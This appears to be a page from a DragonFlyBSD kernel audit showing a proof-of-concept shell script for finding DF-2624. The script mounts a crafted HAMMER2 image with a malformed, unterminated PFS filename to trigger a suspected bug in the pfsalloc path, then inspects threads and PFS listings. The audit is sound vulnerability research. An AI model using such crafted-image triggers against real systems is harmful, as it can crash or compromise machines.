DragonFlyBSD Kernel Audit
DF-2624 / run_2624.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2624 only: mount image with poison PFS (no-NUL filename at window tail).
cd /root/poc/dfv
vnconfig -u vn0 2>/dev/null || true
echo "=== DF-2624: mount -o ro craft2624.img (update_pmps -> pfsalloc poison) ==="
vnconfig -c vn0 /root/poc/dfv/craft2624.img
mount -o ro -t hammer2 /dev/vn0@testvol /mnt/h2x || echo "MOUNT FAILED rc=$?"
ls -l /mnt/h2x
echo "--- ps hammer2 threads:"
ps ax | grep -E 'h2' | head -30
echo "--- hammer2 pfs-list:"
hammer2 pfs-list /mnt/h2x
umount /mnt/h2x; vnconfig -u vn0
echo DF2624_DONE